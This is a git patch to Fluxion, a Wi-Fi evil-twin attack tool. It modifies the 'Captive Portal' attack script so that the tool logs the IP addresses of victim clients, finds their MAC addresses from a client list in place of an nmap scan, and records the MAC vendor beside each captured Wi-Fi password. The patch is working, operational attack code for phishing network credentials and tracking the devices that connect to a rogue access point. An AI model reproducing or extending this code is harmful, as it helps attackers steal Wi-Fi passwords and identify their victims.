From b3718510a3a4e043d58159265abfab1188367ea5 Mon Sep 17 00:00:00 2001 From: deltaxflux Date: Fri, 22 Dec 2017 13:57:15 +0100 Subject: [PATCH] Minor changes --- attacks/Captive Portal/attack.sh | 20 ++++++++++++++------ fluxion.sh | 2 +- 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 8a13c88..31e5661 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -5,7 +5,6 @@ CaptivePortalState="Not Ready" CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog" CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog" -CaptivePortalMacLog="$FLUXIONPath/attacks/Captive Portal/netlog/" CaptivePortalJamTime="9999999999999" CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") @@ -347,8 +346,10 @@ function captive_portal_unset_attack() { } function captive_portal_get_client_IP() { - if [ -f "$FLUXIONWorkspacePath/ip_hits" ]; then - MatchedClientIP=$(cat "$FLUXIONWorkspacePath/ip_hits" | tail -n 1 | head -n 1) + touch "$CaptivePortalPassLog/${APTargetSSIDClean//"/"}-$APTargetMAC-IP.log" + + if [ -f "$CaptivePortalPassLog/${APTargetSSIDClean//"/"}-$APTargetMAC-IP.log" ]; then + MatchedClientIP=$(cat "$CaptivePortalPassLog/${APTargetSSIDClean//"/"}-$APTargetMAC-IP.log" | sed '/^\s*$/d' | tail -n 1 | head -n 1) else MatchedClientIP="unknown" fi @@ -357,9 +358,9 @@ function captive_portal_get_client_IP() { } function captive_portal_get_IP_MAC() { - if [ -f "$FLUXIONWorkspacePath/ip_hits" ] && [ $(captive_portal_get_client_IP) != "" ]; then + if [ -f "$CaptivePortalPassLog/${APTargetSSIDClean//"/"}-$APTargetMAC-IP.log" ] && [ $(captive_portal_get_client_IP) != "" ] && [ -f "$FLUXIONWorkspacePath/clients.txt" ]; then IP=$(captive_portal_get_client_IP) - MatchedClientMAC=$(nmap -PR -sn -n $IP 2>&1 | grep -i mac | awk '{print $3}' | tr [:upper:] [:lower:]) + MatchedClientMAC=$(cat $FLUXIONWorkspacePath/clients.txt | grep $IP | awk '{print $5}' | grep : | head -n 1 | tr [:upper:] [:lower:]) if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then MatchedClientMAC="xx:xx:xx:xx:xx:xx" fi @@ -646,6 +647,13 @@ while [ \$AuthenticatorState = \"running\" ]; do # Clear logged password attempt. echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" fi + + if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then + cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC-IP.log\" + echo \" \" >> \"$CaptivePortalPassLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC-IP.log\" + echo -n > \"$FLUXIONWorkspacePath/ip_hits\" + fi + " >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $APRogueAuthMode = "hash" ]; then @@ -738,7 +746,7 @@ Channel: $APTargetChannel Security: $APTargetEncryption Time: \$ih\$h:\$im\$m:\$is\$s Password: \$(cat $FLUXIONWorkspacePath/candidate.txt) -Mac: $(captive_portal_get_IP_MAC) +Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand)) IP: $(captive_portal_get_client_IP) \" >\"$CaptivePortalNetLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" diff --git a/fluxion.sh b/fluxion.sh index e56d3b5..6070209 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -13,7 +13,7 @@ declare -r FLUXIONNoiseFloor=-90 declare -r FLUXIONNoiseCeiling=-60 declare -r FLUXIONVersion=3 -declare -r FLUXIONRevision=9 +declare -r FLUXIONRevision=10 declare -r FLUXIONDebug=${FLUXIONDebug:+1} declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}